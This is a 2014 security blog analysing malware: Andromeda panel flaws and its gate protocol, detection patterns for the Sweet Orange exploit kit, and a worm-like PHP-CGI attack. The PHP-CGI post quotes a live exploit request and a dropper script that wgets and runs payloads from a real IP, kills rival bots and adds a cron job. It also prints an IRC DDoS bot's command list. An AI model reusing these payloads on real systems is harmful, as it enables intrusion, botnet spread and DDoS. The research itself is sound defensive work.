Visar inlägg med etikett exploit. Visa alla inlägg
Visar inlägg med etikett exploit. Visa alla inlägg

torsdag 9 oktober 2014

Andromeda - Vulnerabilities and Enumeration

Andromeda has been around for quite some time and is a well known loader capable of both formgrabbing and keylogging. The bot has been well documented on several blogs around the web, however, I've not seen anyone taking a closer look at the panel source code, so when I stumbled upon the latest version of the panel I decided to take a look to see if there is anything useful in terms of vulnerabilities.

I was able to acquire logs during one of my investigations which illustrate how Andromeda is sold to the buyers and how to acquire the panel. It's sold through using an automated system, commands available to the buyer is shown below:
Available commands for buyers

Admin panel

The panel comes in a password protected RAR-archive which holds:
Andromeda Panel
Check out this post by @kafeine on how to panel looks in general, this post focus mostly on the source code and functionality.

Starting from the top with adm.php it is packed:

After unpacking and formatting it ends up with a layer of string obfuscation as shown in the extract:
Unpacked code with obfuscated strings
The strings are decoded using the below function where the first parameter is the encoded string and the second is the key:
Function for decoding strings



Using that same function together with some PHP "preg_match-magic" the code ends up much more readable.

PHP Code Injection (requires credentials)

One function that stood out in the code was SaveSettings:

SaveSettings to config (note: syntax is somewhat off)
The settings are written directly to file, without any checks for malformed content in the actual values. There is no validation done from the code where the function is called from either, opening up for PHP code injection.

Example:
Writing PHP code to config
Executing commands through config.php

Cross Site Scripting (requires credentials)

As it's possible to add tasks which are then listed in the panel, the code for adding them reveal that no validation is done for injecting for example Javascript and HTML:
Code for adding tasks to database
Leveraging the URL-field, whatever code that is injected will be executed if the tasklist is viewed.

Example:
Javascript saved in the URL field
Result of the Javascript while viewing tasklist


Command Enumeration (requires RC4 key)

Having established two vulnerabilities in the admin panel, the same type of code (obfuscation and naming convention) is also found in the gate (gate.php). Since Andromeda doesn't have the ability to upload files it ain't possible to remotely upload files, such as with the ZeuS remote update vulnerability.

However, it is however possible to communicate with the panel to retrieve commands and submit data in the form of keylogs and grabbed forms. The key can be acquired through debugging (out of scope in this post).

Code for parsing data from POST-request
The format used to doing a regular checkin is id:%lu|bid:%lu|os:%lu|a:%lu|rg:%lu, more can be found analyzing the binary (out of scope for this post). If the data is encrypted with the correct key and posted to the panel, the panel will respond with HTTP 200 OK and encrypted data if tasks have been configured.

The response is encrypted using the bot id as key.

If the wrong key is used to encrypt the data or the data is malformed, the panel will return HTTP 404 response.

Python makes it easy to automate all of this to enumerate commands from an existing server [script]:
Script for enumerating commands from panel

Uploading keylogs and formgrabs can be done by appending fg: or kl: followed by base64-encoded logs to the above format. Each grabbed form and each keylog is delimited by 0x01, the values in each log are delimited by 0x02 (for example user-agent, cookie and URL for forms grabbed).
Code for parsing uploaded logs
An example of formatting for keylogs before base64 encoding:
\x01<keylog>\x02<process caption>\x02<process name>\x01
Formgrabs:

\x01<cookie>\x02<form data>\x02<user-agent>\x02<URL>\x01

The data posted does however not execute in the panel as it gets escaped on output. But it does enable for leaving a message to the actor(s) running the panel.

Conclusion

The vulnerabilities might very well exist in more places but vulnerabilities specified does however enable for example researches to battle malware and malware campaigns.

By enumerating commands from the panel, it's possible to track the actors steps by downloading the malware and plugins that the bot is intended to download.

It's also possible to leave a message in the form of keylogs and formgrabs to let the actor(s) know that they are under the observation.

Recommended Reading














torsdag 21 augusti 2014

Landingpages bites the dust - Sweet Orange

Sweet Orange (SO) have become more and more rare lately but it's one of the kits that haven't changed at all when it comes to the landingpage.

Basic Structure

SO carries one of the biggest landingpages of all the kits with a size of 280-300Kb, all of which includes a string of 6-8 bytes that works as a delimiter for the "main" script in the landingpage.

It also includes some legitimate HTML to make it look like a legitimate webpage, and the content is actually from real webpages. The sample used in this post can be found on [pastebin]. Using Google it's found that the HTML originates from www.mariposamuseum.org/world_instruments03.html, the difference is that the word Idiophones have been replaced with Large Cloud:
Sweet Orange HTML compared to legitimate webpage
 After the decoy HTML, the malicious script starts. The plugin detection is hidden in a li-tag which is subject for replacement at the bottom of the landingpage.

There is two levels of obfuscation, first the delimiter will be removed, revealing the main script however, all &, <,  > and % are nowhere to be found. Those are added at the end using String.replace in the second level.

String replacement in landingpage




Client identification

The main script [pastebin] checks for browser version and Flash version before launching any exploits. The function names are not obfuscated, making it easy to read.



Check browser and launch IE exploit
Check Flash and launch Flash exploit
Last but not least, a JNLP will be loaded in preparation for Java exploitation.

There isn't really that much to it in terms of advanced techniques or tricks.

Detection

Here is a few examples taken from Sweet Orange throughout the year.
2014-04-20:
ubjCzzjOSb = jinLOqHUrn.substring(60).replace(/jeR--_33S/, "");
ubjCzzjOSb = ubjCzzjOSb["xRadwPhBvkonCnYGSLGSNR".charAt(21).toString().toLowerCase() + "zQYbiTsKBgHRMmboJTCAUePl".substring(21, 28).toLowerCase() + "Ace".toLowerCase()](/__mb3__/, "<");
ubjCzzjOSb = ubjCzzjOSb["BVsXCvUwSbVDbYmIAxdwKR".charAt(21).toString().toLowerCase() + "BuMUiFRjDVDxOELrHlydsePl".substring(21, 28).toLowerCase() + "Ace".toLowerCase()](/__Ob8__/, ">");
ubjCzzjOSb = ubjCzzjOSb["VgIvbfxtpUcdELmXlPMuDR".charAt(21).toString().toLowerCase() + "cluTqHOwGCviXBvPObDlaePl".substring(21, 28).toLowerCase() + "Ace".toLowerCase()](/__Hb7__/, "&");
ubjCzzjOSb = ubjCzzjOSb["UJchLeVPhClZLEBVWleeBR".charAt(21).toString().toLowerCase() + "RzifGzNyuLgkuWfsJdvktePl".substring(21, 28).toLowerCase() + "Ace".toLowerCase()](/__Nc0__/, "%");

2014-06-28:
mmSGqncKVi = DkPBNuJiFk.substring(60).replace(/ZJXm-_7q2/, "");
mmSGqncKVi = mmSGqncKVi["svcUQTPiOxzQewMHjxUSmR".charAt(21).toString().toLowerCase() + "ynnIJcpckBccKDamANMALePl".substring(21, 28).toLowerCase() + "Ace".toLowerCase()](/__hhg7_/, "<");
mmSGqncKVi = mmSGqncKVi["IJvXqlxwzJjPMiYeTCdJUR".charAt(21).toString().toLowerCase() + "XTLpgjtTeESBeyEKjWQhGePl".substring(21, 28).toLowerCase() + "Ace".toLowerCase()](/__Db8__/, ">");
mmSGqncKVi = mmSGqncKVi["fCDSsWebkuqhbWMWbZLChR".charAt(21).toString().toLowerCase() + "lkgHcnCcpWveIGpoYMNStePl".substring(21, 28).toLowerCase() + "Ace".toLowerCase()](/_uio0__/, "&");
mmSGqncKVi = mmSGqncKVi["uNADVNFPkHZaUlEcMVVyTR".charAt(21).toString().toLowerCase() + "tUFiudmZYpEKgtNxoehPuePl".substring(21, 28).toLowerCase() + "Ace".toLowerCase()](/__cc0__/, "%");

2014-08-20:
PoBpsXFGOP = jUkalrchvM.substring(60).replace(/n5Xc4_7w9/, "");
PoBpsXFGOP = PoBpsXFGOP["hhFcPPScoahJvsMypMhooR".charAt(Math.sqrt(441)).toString().toLowerCase() + "ghoAJERaNwXAkWJcmsXBoePl".substring(21, 28).toLowerCase() + "Ace".toLowerCase()](/__hhg7_/, "<");
PoBpsXFGOP = PoBpsXFGOP["qaBaJkOMfRPHHqyRBmGnZR".charAt(Math.sqrt(441)).toString().toLowerCase() + "LNlIfrpfGHpeqyJtyGMJlePl".substring(21, 28).toLowerCase() + "Ace".toLowerCase()](/__Db8__/, ">");
PoBpsXFGOP = PoBpsXFGOP["gfZrLHSdOjKprxNoOQqXFR".charAt(Math.sqrt(441)).toString().toLowerCase() + "KzlUJPpCvqIVcAZhjsNGZePl".substring(21, 28).toLowerCase() + "Ace".toLowerCase()](/_uio0__/, "&");
PoBpsXFGOP = PoBpsXFGOP["LBeVqPfZzJLqgNhrMJNIMR".charAt(Math.sqrt(441)).toString().toLowerCase() + "wXWMEtMqIJmHaazzTqEOcePl".substring(21, 28).toLowerCase() + "Ace".toLowerCase()](/__cc0__/, "%");

It's found that the pattern below is consistent in all the landingpages (not limited to above samples).

.substring(21, 28).toLowerCase() + "Ace".toLowerCase()]

This would enable for detecting and blocking Sweet Orange before any exploits gets to be launched.


 Resources 

Check out Malware-traffic-analysis.net for more examples and live traffic from Sweet Orange. The post include links to all captures done by @malware_traffic (big thanks for providing data!).

söndag 16 februari 2014

Dropnote #1 - Sweet Orange EK-rental(?)

"Dropnotes" are mainly an "online notebook" to share my notes as I go along

So I was checking my honeypot logs and was noticing C2-traffic towards the domain doubleclick-ads.pw, being a .pw-domain and all, I started investigating the event.

The traffic seen was POST requests directed to doubleclick-ads.pw/js/order.php, the sample itself was initially found on fatburrito.pw/GameHacks.exe [VT].

As with all C2-traffic, it would be interesting to identify the panel as well as any other artifacts hosted on the server.

Resolving doubleclick-ads.pw (doubleclick-ads.pw)... 162.248.166.113
Connecting to doubleclick-ads.pw (doubleclick-ads.pw)|162.248.166.113|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: ./blah.php [following]
--2014-02-16 12:21:03--  h00p://doubleclick-ads.pw/js/blah.php
Connecting to doubleclick-ads.pw (doubleclick-ads.pw)|162.248.166.113|:80... connected.
HTTP request sent, awaiting response... 200 OK



This resulted in a picture being showed ment as a "joke" to for example researchers. The pictures are located in doubleclick-ads.pw/js/img/bp/[0-10].jpg. As I was browsing around checking for indexes I was always presented with a random image. Moving on...

While requesting the root-page, this is when it got interesting as it was loading an iframe:


Which lead to yet another iframe:
A few things to note regarding the above shots. All of the pages is being reported as malicious, including the last one which points to Sweet Orange Exploit Kit (same pattern as published by @kafeine)
The reason why I wanted to highlight the URL is due to the digit '/spot8/', this speaks "There is more here!" to me so I started changing the numbers and found that 1-9 are valid folders and all generated an iframe which pointed to Sweet Orange (number 9 generated two iframes, same domain, but different URL's).

Searching urlquery revealed another pattern xxxpass.info/spota/index.php which generated results(!):

Sadly, only '/spota/' was found to be a valid folder, but as the pattern '/spotX/' repeats, I found that once again 1-9 was valid and allowing directory indexing:

The files are quite self-explained:
getnewlink.php - Generate a new link and saves it to link.txt.
link.txt - Holds the link to where the iframe on xxxpass.info should point.
stats.php - Administration and statistics for Sweet Orange Exploit kit.

Misc
While I was monitoring the iframes generated I found that a new URI is generated every 60 seconds and a new domain/subdomain is generated every 60 minutes [Pastebin]
Hosts involved - urlquery (@urlquery)
botnethosting.com on cybercrime-tracker.net - Cybercrime-tracker.net (@Xylit0l) 

lördag 15 februari 2014

PHP-CGI exploitation never dies?

Ever since the vulnerability was discovered in Apache/PHP which allowed for PHP-code to be executed using a simple HTTP POST-request, automated attacks was launched widely which lead to a large number of compromised hosts.

Those attacks have decreased during the last months, however, one of these automated attacks was particularly interesting due to the fact that the approach used can be categorized as worm-like. Let's go into the whole attack on a higher level before going into the technical part.

The actor used the exploit released by kingcope [exploit-db] with a modified payload which downloaded a few scripts and binaries which in turn started scanning a random A-block of IPv4 addresses. If a host was found to be running Apache, exploitation attempts would be launched and the whole process starts over. These attacks was first spotted around November 2013.

Inner workings
Now for the fun, more interesting part:
One of the exploitation attempts:
POST /cgi-bin/php.cgi?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1
Content-Length: 82
Host: <excluded>
User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25
Connection: close
Content-Type: application/x-www-form-urlencoded
<?php system("wget http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh"); 

The payload is pretty straight forward, download and execute 'sh' which consist of a bash-script:
#!/bin/sh

cd /tmp;cd /dev/shm
wget -q http://221.132.37.26/shd -O ...i
chmod +x ...i
./...i
cd /dev/shm ; wget 221.132.37.26/ru ; bash ru ; rm -rf ru
cd /dev/shm ; wget 221.132.37.26/rr; bash rr; rm -rf rr
killall -9 .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w php
killall -9 .rnd
killall -9 .a
killall -9 kernelupdate
killall -9 dev
killall -9 sh
killall -9 bash
killall -9 apache2
killall -9 httpd
killall -9 cla
killall -9 ka
killall -9 kav
killall -9 m32
killall -9 m64
killall -9 perl
killall -9 sh
killall -9 sucrack
killall -9 m64 m32 minerd32 minerd64 minerd  cla qt64 qt32 clover cron sh wget
kill -9 `pidof .rnd`
kill -9 `pidof .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w`
kill -9 `pidof dev`
kill -9 `pidof perl`
kill -9 `pidof m32`
kill -9 `pidof m64`
kill -9 `pidof ka`
kill -9 `pidof kav`
kill -9 `pidof cla`
kill -9 `pidof sh`
kill -9 `pidof sucrack`
echo "@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron
crontab /tmp/cron
rm -rf /tmp/cron
The script does a couple of things:
  • Download and execute a file 'shd'
  • Download and execute files 'ru' and 'rr'
  • Try to kill 55 processes
 If we skip ahead a few lines and focus on the "kill"-section. This was for a while a big questionmark for me as it didn't make any clear sense until I checked some of my honeypot logs and found that similar attacks from other actors downloaded and executed bots  which had processes with the above names. The actor behind this attack has thereby planned ahead and make sure to kill any known running bots to make sure that there is only one bot running, his own.

Going back to the first few lines, the script will download and execute 'shd' which is a compiled binary [VT: 47640bbafbaef528bc3f3215299b9ed0]. It doesn't take long to get an idea of what this binary does after checking the strings (full list on [Pastebin]):
...<snip>...
117.17.242.218
NOTICE %s :Unable to comply.
/usr/dict/words
%s : USERID : UNIX : %s
NOTICE %s :GET <host> <save as>
NOTICE %s :Unable to create socket.
http://
NOTICE %s :Unable to resolve address.
NOTICE %s :Unable to connect to http.
GET /%s HTTP/1.0
Connection: Keep-Alive
User-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)
Host: %s:80
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
...<snip>...
NOTICE %s :MOVE <server>
NOTICE %s :TSUNAMI <target> <secs>                          = Special packeter that wont be blocked by most firewalls
NOTICE %s :PAN <target> <port> <secs>                       = An advanced syn flooder that will kill most network drivers
NOTICE %s :UDP <target> <port> <secs>                       = A udp flooder
NOTICE %s :UNKNOWN <target> <secs>                          = Another non-spoof udp flooder
NOTICE %s :NICK <nick>                                      = Changes the nick of the client
NOTICE %s :SERVER <server>                                  = Changes servers
NOTICE %s :GETSPOOFS                                        = Gets the current spoofing
NOTICE %s :SPOOFS <subnet>                                  = Changes spoofing to a subnet
NOTICE %s :DISABLE                                          = Disables all packeting from this client
NOTICE %s :ENABLE                                           = Enables all packeting from this client
NOTICE %s :KILL                                             = Kills the client
NOTICE %s :GET <http address> <save as>                     = Downloads a file off the web and saves it onto the hd
NOTICE %s :VERSION                                          = Requests version of client
NOTICE %s :KILLALL                                          = Kills all current packeting
NOTICE %s :HELP                                             = Displays this
NOTICE %s :IRC <command>                                    = Sends this command to the server
NOTICE %s :SH <command>                                     = Executes a command
NOTICE %s :Killing pid %d.
A couple of things pop out. first is the fact that there is an IP-adress listed '117.17.242.218' and judging by the other strings I would guess that this is an IRC-bot with DDoS-functionality.
One of my ad-hoc methods while analysing malware is to always check TCP/80 as it's the most commonly open port on the Internet:

$ curl 117.17.242.218
:irc.foonet.com NOTICE AUTH :*** Looking up your hostname...
:irc.foonet.com NOTICE AUTH :*** Found your hostname (cached)
ERROR :Closing Link: [<excluded>] (HTTP command from IRC connection (ATTACK?))

A channel could be found using strings as well:
$ strings shd | grep \#
CL#CP
Gu#1
u#;u
#irc
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
|;#o

The channel in question is not password-proctected but isn't however listing connected bots, only the bot admin which seems to be changing nickname each time a command is sent to one or more bots.

13:23 <@HADHH> !* SH cd /tmp;wget 221.132.37.26/ru.php ; bash ru.php ; rm -rf ru.php
13:23 -!- HADHH is now known as HAD

Moving forward with the second and third file 'ru' and 'rr' which is supposed to be bash-scripts. 'rr' however wasn't found on the server, 'ru' was [Pastebin].

This script is the first step in deploying further spreading as it downloads and runs a scanning tool (pnscan) and the exploit from http://bont.hu/ar/<arch>.tgz and shown in the snippet below:

<snip>
        if [ ! -f pnscan ];then
        case "$arch" in
                "x86_64")
                wget -q http://bont.hu/ar/64.tgz -O 64.tgz
                tar xvzf 64.tgz
                rm -rf 64.tgz
                ;;
                *)
                wget -q http://bont.hu/ar/86.tgz -O 86.tgz
                tar xvzf 86.tgz
                rm -rf 86.tgz
                ;;
        esac
        fi
<snip> 

The archives comes with three files each which have identical functionality (only difference in the 'run'-file is a linebreak at the end):
86.tgz
c11e9bc5faf9c2f1600f079ccab3387e  php <--- Exploit for PHP
14e16be30cfe88ae67881b54b12c2cec  pnscan <--- Modified version of PnScan [PnScan]
bebe8fc81a7c7b19bc80422e7fce04b6  run <--- Run the two above

64.tgz
96e2c911b49f825f2faa3bfa9c6f96bd  php
212342b3ddd21a534d0dd7df066ee78d  pnscan
57dbd47859d067f6c4f60d65c486131f  run

The run-script reveals how the process is initiated but only how pnscan is initiated:
#!/bin/bash rand=`echo $((RANDOM%225+2))` cd /dev/shm nohup ./pnscan -rApache -w"HEAD / HTTP/1.0\r\n\r\n" $rand.0.0.0/8 80 > /dev/null &
I approached this as it would be a standard version of pnscan that would dump the results to file, but as the above script shows, there is no calls to 'php'. So back to static analysis and strings and look for 'php':
$ strings pnscan | fgrep php
./php --target %s --port 80 --protocol http --reverse-ip 12.8.8.8 --reverse-port 80 &

Now that's more like it! Seems to be a modified version of pnscan which calls 'php' if a server is found to be running Apache.

At this stage the whole process simply repeats for each vulnerable server. 

Other thoughts and facts
This particular attack has been running since November judging by this article and the botnet is still propagating and actively being controlled by the admin. Some things have changed during the time such as names for the scripts and binaries which has been downloaded (old ones still remain though). Some examples (top one being the currently used) [urlquery):

Initial script (2014-02-15):
221.132.37.26/shh - Active
221.132.37.26/sh - Active
221.132.37.26/scen - Active
221.132.37.26/tmp/sh - Inactive

IRC-bot ((2014-02-15):
221.132.37.26/shd - Active (2014-02-15)
221.132.37.26/shb - Active
221.132.37.26/shc - Active 
221.132.37.26/xxx - Inactive
221.132.37.26/xx - Inactive
221.132.37.26/x - Inactive

Unknown (based on urlquery, all inactive):
221.132.37.26/CUT_IT_OUT
221.132.37.26/i_see_you
221.132.37.26/in (probably initial script)

Honeypot used:
I've uploaded the script used in capturing this and many similar attempts on Pastebin [Pastebin].
 
Links
http://blog.michaelhaag.org/2013/12/kaiten-linux-backdoor.html
http://blog.malwaremustdie.org/2013/05/story-of-unix-trojan-tsunami-ircbot-w.html 
http://malm0u53.blogspot.se/2013/12/backing-up-new-cis-blog-post.html